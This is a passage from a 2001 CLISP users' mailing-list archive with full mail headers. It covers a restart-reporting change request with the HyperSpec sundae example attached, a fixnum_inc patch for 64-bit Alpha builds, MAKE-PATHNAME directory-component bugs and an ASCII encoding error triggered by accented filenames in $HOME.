compiling clisp 2.27 for Tru64 5.1 on Alpha using cc" > * Sent on 27 Sep 2001 16:49:38 -0400 > * Honorable Raymond Toy writes: > > >>>>> "Sam" == Sam Steingold writes: > > Sam> if the float is small enough, (coerce float 'integer) should return a > Sam> fixnum. > > Are you sure? This seems wrong to me. you are right. sorry. I wonder how to make CLISP invoke FF_to_I(). Bruno? -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on If your VCR is still blinking 12:00, you don't want Linux. From kend0@earthlink.net Sun Sep 30 18:22:16 2001 Received: from scaup.mail.pas.earthlink.net ([207.217.121.49]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15nrmi-0008HB-00 for ; Sun, 30 Sep 2001 18:22:16 -0700 Received: from bandicoot (1Cust201.tnt7.beaverton.or.da.uu.net [63.26.124.201]) by scaup.mail.pas.earthlink.net (EL-8_9_3_3/8.9.3) with SMTP id SAA20524 for ; Sun, 30 Sep 2001 18:21:40 -0700 (PDT) Content-Type: Multipart/Mixed; charset="iso-8859-1"; boundary="------------Boundary-00=_DF6IJ2RQ7ZXKK06FZ7U6" From: Ken Dickey Organization: Leverage Scheme To: clisp-list@lists.sourceforge.net X-Mailer: KMail [version 1.2] MIME-Version: 1.0 Message-Id: <01093018211300.00264@bandicoot> Subject: [clisp-list] Change Request on INVOKE-RESTART-INTERACTIVELY Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Sep 30 18:23:01 2001 X-Original-Date: Sun, 30 Sep 2001 18:21:13 -0700 --------------Boundary-00=_DF6IJ2RQ7ZXKK06FZ7U6 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit Greetings, I was looking at the sample code in the CL-HyperSpec on restarts and noticed that CLisp had a different behaviour. In particular the restart-report was not printed when the restart was invoked interactively. I got the expected behaviour when I redefined INVOKE-RESTART-INTERACTIVELY in the "condition.lisp" source file to output the report. ;; INVOKE-RESTART-INTERACTIVELY, CLtL2 p. 911 (defun invoke-restart-interactively (restart-identifier) (let ((restart (find-restart restart-identifier))) (unless restart (restart-not-found restart-identifier)) ;; repeat the :report if available (let ((report (restart-report restart))) (when report (format t "~a~%" report) (finish-output))) (let ((arguments (funcall (restart-interactive restart)))) (%invoke-restart restart arguments) ) ) ) By the way, thanks much for CLisp!!! I have just started using it and really appreciate it. Cheers, -KenD --------------Boundary-00=_DF6IJ2RQ7ZXKK06FZ7U6 Content-Type: text/plain; charset="iso-8859-1"; name="test-restart.lisp" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="test-restart.lisp" Ozs7OyAgIC0qLSBNb2RlOiBsaXNwOyBQYWNrYWdlOiBDb21tb24tTGlzcC1Vc2VyOyBTeW50YXg6 IENvbW1vbi1saXNwIC0qLQo7Owo7Ozs7IENvZGU6CgoKOzsgRnJvbSBDTCBIeXBlclNwZWMKCiAo ZGVmaW5lLWNvbmRpdGlvbiBmb29kLWVycm9yIChlcnJvcikgKCkpCgogKGRlZmluZS1jb25kaXRp b24gYmFkLXRhc3Rpbmctc3VuZGFlIChmb29kLWVycm9yKSAKICAgKChpY2UtY3JlYW0gOmluaXRh cmcgOmljZS1jcmVhbSA6cmVhZGVyIGJhZC10YXN0aW5nLXN1bmRhZS1pY2UtY3JlYW0pCiAgICAo c2F1Y2UgOmluaXRhcmcgOnNhdWNlIDpyZWFkZXIgYmFkLXRhc3Rpbmctc3VuZGFlLXNhdWNlKQog ICAgKHRvcHBpbmcgOmluaXRhcmcgOnRvcHBpbmcgOnJlYWRlciBiYWQtdGFzdGluZy1zdW5kYWUt dG9wcGluZykpCiAgICg6cmVwb3J0IChsYW1iZGEgKGNvbmRpdGlvbiBzdHJlYW0pCiAgICAgICAg ICAgICAgKGZvcm1hdCBzdHJlYW0gIkJhZCB0YXN0aW5nIHN1bmRhZSB3aXRoIH5TLCB+UywgYW5k IH5TIgogICAgICAgICAgICAgICAgICAgICAgKGJhZC10YXN0aW5nLXN1bmRhZS1pY2UtY3JlYW0g Y29uZGl0aW9uKQogICAgICAgICAgICAgICAgICAgICAgKGJhZC10YXN0aW5nLXN1bmRhZS1zYXVj ZSBjb25kaXRpb24pCiAgICAgICAgICAgICAgICAgICAgICAoYmFkLXRhc3Rpbmctc3VuZGFlLXRv cHBpbmcgY29uZGl0aW9uKSkpKSkKCiAoZGVmdW4gYWxsLXN0YXJ0LXdpdGgtc2FtZS1sZXR0ZXIg KHN5bWJvbDEgc3ltYm9sMiBzeW1ib2wzKQogICAobGV0ICgoZmlyc3QtbGV0dGVyIChjaGFyIChz eW1ib2wtbmFtZSBzeW1ib2wxKSAwKSkpCiAgICAgKGFuZCAoZXFsIGZpcnN0LWxldHRlciAoY2hh ciAoc3ltYm9sLW5hbWUgc3ltYm9sMikgMCkpCiAgICAgICAgICAoZXFsIGZpcnN0LWxldHRlciAo Y2hhciAoc3ltYm9sLW5hbWUgc3ltYm9sMykgMCkpKSkpCgogKGRlZnVuIHJlYWQtbmV3LXZhbHVl ICgpCiAgIChmb3JtYXQgdCAiRW50ZXIgYSBuZXcgdmFsdWU6ICIpCiAgIChtdWx0aXBsZS12YWx1 ZS1saXN0IChldmFsIChyZWFkKSkpKQoKIChkZWZ1biB2ZXJpZnktb3ItZml4LXBlcmZlY3Qtc3Vu ZGFlIChpY2UtY3JlYW0gc2F1Y2UgdG9wcGluZykKICAgKGRvICgpCiAgICAgICgoYWxsLXN0YXJ0 LXdpdGgtc2FtZS1sZXR0ZXIgaWNlLWNyZWFtIHNhdWNlIHRvcHBpbmcpKQogICAgIChyZXN0YXJ0 LWNhc2UKICAgICAgIChlcnJvciAnYmFkLXRhc3Rpbmctc3VuZGFlCiAgICAgICAgICAgICAgOmlj ZS1jcmVhbSBpY2UtY3JlYW0KICAgICAgICAgICAgICA6c2F1Y2Ugc2F1Y2UKICAgICAgICAgICAg ICA6dG9wcGluZyB0b3BwaW5nKQogICAgICAgKHVzZS1uZXctaWNlLWNyZWFtIChuZXctaWNlLWNy ZWFtKQogICAgICAgICA6cmVwb3J0ICJVc2UgYSBuZXcgaWNlIGNyZWFtLiIKICAgICAgICAgOmlu dGVyYWN0aXZlIHJlYWQtbmV3LXZhbHVlICAKICAgICAgICAgKHNldHEgaWNlLWNyZWFtIG5ldy1p Y2UtY3JlYW0pKQogICAgICAgKHVzZS1uZXctc2F1Y2UgKG5ldy1zYXVjZSkKICAgICAgICAgOnJl cG9ydCAiVXNlIGEgbmV3IHNhdWNlLiIKICAgICAgICAgOmludGVyYWN0aXZlIHJlYWQtbmV3LXZh bHVlCiAgICAgICAgIChzZXRxIHNhdWNlIG5ldy1zYXVjZSkpCiAgICAgICAodXNlLW5ldy10b3Bw aW5nIChuZXctdG9wcGluZykKICAgICAgICAgOnJlcG9ydCAiVXNlIGEgbmV3IHRvcHBpbmcuIgog ICAgICAgICA6aW50ZXJhY3RpdmUgcmVhZC1uZXctdmFsdWUKICAgICAgICAgKHNldHEgdG9wcGlu ZyBuZXctdG9wcGluZykpKSkKICAgKHZhbHVlcyBpY2UtY3JlYW0gc2F1Y2UgdG9wcGluZykpCgoo ZGVmdW4gdGVzdC1yZXN0YXJ0ICgpCiAgICAodmVyaWZ5LW9yLWZpeC1wZXJmZWN0LXN1bmRhZSAn dmFuaWxsYSAnY2FyYW1lbCAnY2hlcnJ5KSkKCjs7OyBURVNULVJFU1RBUlQuTElTUCBlbmRzIGhl cmUK --------------Boundary-00=_DF6IJ2RQ7ZXKK06FZ7U6-- From sds@gnu.org Sun Sep 30 21:15:44 2001 Received: from out1.prserv.net ([32.97.166.31] helo=prserv.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15nuUZ-0002My-00 for ; Sun, 30 Sep 2001 21:15:43 -0700 Received: from xchange.com (slip-32-100-55-202.ma.us.prserv.net[32.100.55.202]) by prserv.net (out1) with ESMTP id <2001100104153920102pkgj6e>; Mon, 1 Oct 2001 04:15:41 +0000 To: Ken Dickey Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Change Request on INVOKE-RESTART-INTERACTIVELY References: <01093018211300.00264@bandicoot> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <01093018211300.00264@bandicoot> Message-ID: Lines: 74 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.107 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Sep 30 21:16:01 2001 X-Original-Date: 01 Oct 2001 00:14:58 -0400 > * In message <01093018211300.00264@bandicoot> > * On the subject of "[clisp-list] Change Request on INVOKE-RESTART-INTERACTIVELY" > * Sent on Sun, 30 Sep 2001 18:21:13 -0700 > * Honorable Ken Dickey writes: > > I was looking at the sample code in the CL-HyperSpec on restarts and > noticed that CLisp had a different behaviour. the example is bogus: READ-NEW-VALUE should ask "enter new value" while the example reads "Enter a new ice cream:" > In particular the restart-report was not printed when the restart was > invoked interactively. I got the expected behaviour when I redefined > INVOKE-RESTART-INTERACTIVELY in the "condition.lisp" source file to > output the report. > > ;; INVOKE-RESTART-INTERACTIVELY, CLtL2 p. 911 > (defun invoke-restart-interactively (restart-identifier) > (let ((restart (find-restart restart-identifier))) > (unless restart (restart-not-found restart-identifier)) > ;; repeat the :report if available > (let ((report (restart-report restart))) > (when report > (format t "~a~%" report) you mean (funcall report *terminal-io*), right? > (finish-output))) I don't think you need this. > (let ((arguments (funcall (restart-interactive restart)))) > (%invoke-restart restart arguments) > ) ) ) I don't think that there is much use printing the restart description yet again: we have now: *** - Bad tasting sundae with VANILLA, CARAMEL, and CHERRY The following restarts are available: R1 = Use a new ice cream. R2 = Use a new sauce. R3 = Use a new topping. 1. Break [2]> r1 Enter a new value: 'c you want: *** - Bad tasting sundae with VANILLA, CARAMEL, and CHERRY The following restarts are available: R1 = Use a new ice cream. R2 = Use a new sauce. R3 = Use a new topping. 1. Break [2]> r1 Use a new ice cream. Enter a new value: 'c I doubt this is much better. > By the way, thanks much for CLisp!!! I have just started using it and > really appreciate it. you are very welcome! -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on (let ((a "(let ((a %c%s%c)) (format a 34 a 34))")) (format a 34 a 34)) From sds@gnu.org Mon Oct 01 06:53:10 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15o3VO-0001op-00 for ; Mon, 01 Oct 2001 06:53:10 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id JAA21594; Mon, 1 Oct 2001 09:53:05 -0400 (EDT) X-Envelope-To: To: reti@ai.mit.edu Cc: clisp-list@lists.sourceforge.net, haible@gnu.org Subject: Re: [clisp-list] Problems compiling clisp 2.27 for Tru64 5.1 on Alpha using cc References: <20010926074512.6.RETI@RAINIER-VLM.AI.MIT.EDU> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 36 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.107 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Oct 1 06:54:03 2001 X-Original-Date: 01 Oct 2001 09:52:33 -0400 > > My guess is that on a 64-bit machine, fixnum_inc needs to be a bit > > smarter and do a masked or 32-bit addition. > > could you please remove "wbitm(intLsize)" from the negfixnum() call > altogether and try the appended patch? my patch was broken. please try this: Index: lispbibl.d =================================================================== RCS file: /cvsroot/clisp/clisp/src/lispbibl.d,v retrieving revision 1.217 diff -u -w -b -r1.217 lispbibl.d --- lispbibl.d 2001/09/24 20:03:22 1.217 +++ lispbibl.d 2001/10/01 13:49:08 @@ -4082,7 +4082,9 @@ # > delta: a constant # < result: incremented fixnum #define fixnum_inc(obj,delta) \ - objectplus(obj, (soint)(delta) << oint_data_shift) + (as_object( (as_oint(obj) & oint_type_mask) | \ + ((as_oint(obj) + ((soint)(delta) << oint_data_shift)) \ + & oint_addr_mask) )) # posfixnum(x) is a fixnum with value x>=0. #define posfixnum(x) fixnum_inc(Fixnum_0,x) thanks. -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on Don't hit a man when he's down -- kick him; it's easier. From wiseman@inetmi.com Mon Oct 01 10:03:06 2001 Received: from a154.116.208.207.ded24.interaccess.com ([207.208.116.154] helo=chicago.inetmi.com) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15o6TA-0004tB-00 for ; Mon, 01 Oct 2001 10:03:04 -0700 Received: (qmail 11949 invoked from network); 1 Oct 2001 17:03:01 -0000 Received: from unknown (HELO LEMONODOR) (192.168.2.100) by a154.116.208.207.ded24.interaccess.com with SMTP; 1 Oct 2001 17:03:01 -0000 From: "John Wiseman" To: Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Subject: [clisp-list] make-pathname; directory components Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Oct 1 10:04:02 2001 X-Original-Date: Mon, 1 Oct 2001 12:03:01 -0500 I noticed a couple things that do not seem to work with clisp's make-pathname that I believe should work, based on http://www.xanalys.com/software_tools/reference/HyperSpec/Body/sec_19-2-2-4- 3.html. String as a directory component: [19]> (make-pathname :directory "DPMA") *** - MAKE-PATHNAME: illegal :DIRECTORY argument "DPMA" More specifically, the standard says (http://www.xanalys.com/software_tools/reference/HyperSpec/Body/fun_make-pat hname.html) "If the directory is a string, it should be the name of a top level directory, and should not contain any punctuation characters; that is, specifying a string, str, is equivalent to specifying the list (:absolute str)." :up in a directory component: [21]> (make-pathname :directory '(:relative "DPMA" :up "DPMA")) *** - MAKE-PATHNAME: illegal :DIRECTORY argument (:RELATIVE "DPMA" :UP "DPMA") (I guess this one isn't required to work by the standard, but it would sure be nice.) Thanks, John Wiseman From sds@gnu.org Mon Oct 01 13:45:58 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15o9wr-0000lk-00 for ; Mon, 01 Oct 2001 13:45:57 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id QAA11303; Mon, 1 Oct 2001 16:45:54 -0400 (EDT) X-Envelope-To: To: "John Wiseman" Cc: Subject: Re: [clisp-list] make-pathname; directory components References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 27 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.107 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Oct 1 13:46:20 2001 X-Original-Date: 01 Oct 2001 16:45:07 -0400 > * In message > * On the subject of "[clisp-list] make-pathname; directory components" > * Sent on Mon, 1 Oct 2001 12:03:01 -0500 > * Honorable "John Wiseman" writes: > > [19]> (make-pathname :directory "DPMA") > *** - MAKE-PATHNAME: illegal :DIRECTORY argument "DPMA" fixed, thanks for the report. > :up in a directory component: > > [21]> (make-pathname :directory '(:relative "DPMA" :up "DPMA")) > > *** - MAKE-PATHNAME: illegal :DIRECTORY argument (:RELATIVE "DPMA" :UP > "DPMA") > > (I guess this one isn't required to work by the standard, but it would > sure be nice.) why? how is :up better than ".."? -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on The world will end in 5 minutes. Please log out. From wiseman@inetmi.com Mon Oct 01 13:58:28 2001 Received: from a154.116.208.207.ded24.interaccess.com ([207.208.116.154] helo=chicago.inetmi.com) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15oA8v-0005JY-00 for ; Mon, 01 Oct 2001 13:58:25 -0700 Received: (qmail 12161 invoked from network); 1 Oct 2001 20:58:22 -0000 Received: from unknown (HELO LEMONODOR) (192.168.2.100) by a154.116.208.207.ded24.interaccess.com with SMTP; 1 Oct 2001 20:58:22 -0000 From: "John Wiseman" To: Subject: RE: [clisp-list] make-pathname; directory components Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) Importance: Normal In-Reply-To: X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Oct 1 13:59:13 2001 X-Original-Date: Mon, 1 Oct 2001 15:58:22 -0500 > > :up in a directory component: > > > > [21]> (make-pathname :directory '(:relative "DPMA" :up "DPMA")) > > > > *** - MAKE-PATHNAME: illegal :DIRECTORY argument (:RELATIVE "DPMA" :UP > > "DPMA") > > > > (I guess this one isn't required to work by the standard, but it would > > sure be nice.) > > why? how is :up better than ".."? Well, the standard does explicitly mention the use of the :WILD, :WILD-INFERIORS, :UP, and :BACK "special markers" inside directory components, and what each symbol means. If you're going to support the functionality, which does seem useful, I think it's best to go with the standard way of implementing it. When I said that the standard didn't require these to work, I was referring to the part that says Supplying any non-string, including any of the symbols listed below, to a file system for which it does not make sense signals an error of type file-error. For example, Unix does not support :wild-inferiors in most implementations. And ".." at least could be a problem in a filesystem that allows files to be named ".." (like the Macintosh? I know MCL understands :UP but I don't remember its namestrings ever containing ".."). John Wiseman From sds@gnu.org Mon Oct 01 14:04:35 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15oAEt-0007Yp-00 for ; Mon, 01 Oct 2001 14:04:35 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id RAA15628; Mon, 1 Oct 2001 17:04:32 -0400 (EDT) X-Envelope-To: To: "John Wiseman" Cc: Subject: Re: [clisp-list] make-pathname; directory components References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 16 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.107 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Oct 1 14:05:14 2001 X-Original-Date: 01 Oct 2001 17:03:45 -0400 > * In message > * On the subject of "RE: [clisp-list] make-pathname; directory components" > * Sent on Mon, 1 Oct 2001 15:58:22 -0500 > * Honorable "John Wiseman" writes: > > Well, the standard does explicitly mention the use of the :WILD, > :WILD-INFERIORS, :UP, and :BACK "special markers" inside directory > components, and what each symbol means. which page? I cannot find :up and :back. -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on If Perl is the solution, you're solving the wrong problem. - Erik Naggum From sds@gnu.org Mon Oct 01 14:07:16 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15oAHU-0000ML-00 for ; Mon, 01 Oct 2001 14:07:16 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id RAA16596; Mon, 1 Oct 2001 17:07:13 -0400 (EDT) X-Envelope-To: To: "John Wiseman" Cc: Subject: Re: [clisp-list] make-pathname; directory components References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 17 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.107 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Oct 1 14:08:03 2001 X-Original-Date: 01 Oct 2001 17:06:26 -0400 > * In message > * On the subject of "RE: [clisp-list] make-pathname; directory components" > * Sent on Mon, 1 Oct 2001 15:58:22 -0500 > * Honorable "John Wiseman" writes: > > Well, the standard does explicitly mention the use of the :WILD, > :WILD-INFERIORS, :UP, and :BACK "special markers" inside directory > components, and what each symbol means. I see - in 19.2.2.4.3. okay, I will do this. -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on Only a fool has no doubts. From Bernard.Urban@meteo.fr Tue Oct 02 02:38:50 2001 Received: from merceron.meteo.fr ([137.129.26.44]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15oM0H-0003WB-00 for ; Tue, 02 Oct 2001 02:38:17 -0700 To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] internationalization problem on clisp-2.27 From: Bernard Urban Message-ID: <87wv2eo024.fsf@merceron.meteo.fr> Lines: 37 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Oct 2 02:39:02 2001 X-Original-Date: 02 Oct 2001 11:36:51 +0200 >>> But in my case (Debian system), the fr locale prexisted >>> (in /usr/share/locale) for some GNU utilities, >>> so it should have been found ? >> >>The locale is in /usr/lib/locale, and in glibc-2.2 there is no "fr" >>locale. (What kind of monetary information would it contain? French or >>Swiss or Luxemburgish Franc?) >> >>What you see in /usr/share/locale are the translation catalogs, where >>a catalog named "fr" acts as fallback for all locales starting in >>"fr_": "fr_FR", "fr_CH" etc. >> >>Bruno But shouldn't clisp installation warn the user if there is no locale for the proposed messages translation ? And now another bug related to internationalization: When there is a pathname in $HOME with an accented letter (in coding iso-8859-1), clisp 2.27 gives the message: *** - invalid byte #x81 in CHARSET:ASCII conversion It is related to looking for $HOME/.clisprc, as the message disappears when -norc option is given. It disappears also with option -Epathname iso-8859-1. Regards. -- Bernard Urban From peter.wood@worldonline.dk Tue Oct 02 06:40:52 2001 Received: from pasmtp.tele.dk ([193.162.159.95]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15oPn0-0008MJ-00 for ; Tue, 02 Oct 2001 06:40:50 -0700 Received: from localhost.localdomain (cpe.atm0-0-0-120180.boanxx1.customer.tele.dk [62.242.7.233]) by pasmtp.tele.dk (Postfix) with ESMTP id 39374B568; Tue, 2 Oct 2001 15:40:46 +0200 (CEST) Received: (from prw@localhost) by localhost.localdomain (8.11.1/8.11.1) id f92DWRa00198; Tue, 2 Oct 2001 15:32:27 +0200 From: Peter Wood To: Bernard Urban Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] internationalization problem on clisp-2.27 Message-ID: <20011002153226.A167@localhost.localdomain> References: <87wv2eo024.fsf@merceron.meteo.fr> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <87wv2eo024.fsf@merceron.meteo.fr>; from Bernard.Urban@meteo.fr on Tue, Oct 02, 2001 at 11:36:51AM +0200 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Oct 2 06:41:07 2001 X-Original-Date: Tue, 2 Oct 2001 15:32:26 +0200 On Tue, Oct 02, 2001 at 11:36:51AM +0200, Bernard Urban wrote: > And now another bug related to internationalization: > > When there is a pathname in $HOME with an accented letter > (in coding iso-8859-1), clisp 2.27 gives the message: > > *** - invalid byte #x81 in CHARSET:ASCII conversion > > It is related to looking for $HOME/.clisprc, as the message disappears > when -norc option is given. It disappears also with option > -Epathname iso-8859-1. > Hi, By default Clisp uses charset::ascii, with the result that you observe. You can cure this by dumping an image after setting *terminal-encoding* *default-file-encoding* and *misc-encoding* to charset:iso-8859-1. (let ((encoding (make-encoding :charset charset:iso-8859-1 :line-terminator :unix))) (setf *terminal-encoding* encoding *default-file-encoding* encoding *misc-encoding* encoding)) Replace your default image with the one you dumped. I don't think it is a bug, as Clisp has to choose *some* default, and ascii is probably the best bet. Regards, Peter Ps. If you don't use unix, you obviously don't want the :line-terminator bit (above). From Bernard.Urban@meteo.fr Tue Oct 02 07:00:48 2001 Received: from merceron.meteo.fr ([137.129.26.44]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15oQ6G-0002rN-00 for ; Tue, 02 Oct 2001 07:00:45 -0700 To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] internationalization problem on clisp-2.27 References: <87wv2eo024.fsf@merceron.meteo.fr> <20011002153226.A167@localhost.localdomain> From: Bernard Urban In-Reply-To: <20011002153226.A167@localhost.localdomain> Message-ID: <874rpi6t1a.fsf@merceron.meteo.fr> Lines: 48 User-Agent: Gnus/5.0808 (Gnus v5.8.8) Emacs/20.7 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Oct 2 07:01:09 2001 X-Original-Date: 02 Oct 2001 16:00:33 +0200 Peter Wood writes: > On Tue, Oct 02, 2001 at 11:36:51AM +0200, Bernard Urban wrote: > > > And now another bug related to internationalization: > > > > When there is a pathname in $HOME with an accented letter > > (in coding iso-8859-1), clisp 2.27 gives the message: > > > > *** - invalid byte #x81 in CHARSET:ASCII conversion > > > > It is related to looking for $HOME/.clisprc, as the message disappears > > when -norc option is given. It disappears also with option > > -Epathname iso-8859-1. > > > > Hi, > > By default Clisp uses charset::ascii, with the result that you > observe. You can cure this by dumping an image after setting > *terminal-encoding* *default-file-encoding* and *misc-encoding* to > charset:iso-8859-1. > > (let ((encoding (make-encoding :charset charset:iso-8859-1 :line-terminator :unix))) > (setf *terminal-encoding* encoding > *default-file-encoding* encoding > *misc-encoding* encoding)) > > Replace your default image with the one you dumped. > > I don't think it is a bug, as Clisp has to choose *some* default, and > ascii is probably the best bet. First, clisp behaviour was ok, then I inadvertently created a file in the HOME directory with an european accented letter in the name, and clisp broke, even if clisp does not use at all this new file ! I do not think that it is normal for any software to change its behaviour when an unrelated file is created. So thank you for the advice, but for me this is a bug, which obviously is triggered when clisp searches for $HOME/.clisprc by looking at all filenames in $HOME. Regards. -- Bernard Urban From rlatimer@dragstrip.tjhsst.edu Thu Oct 04 12:12:42 2001 Received: from threat.tjhsst.edu ([198.38.16.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15pDvF-0001fm-00 for ; Thu, 04 Oct 2001 12:12:41 -0700 Received: from dragstrip.tjhsst.edu 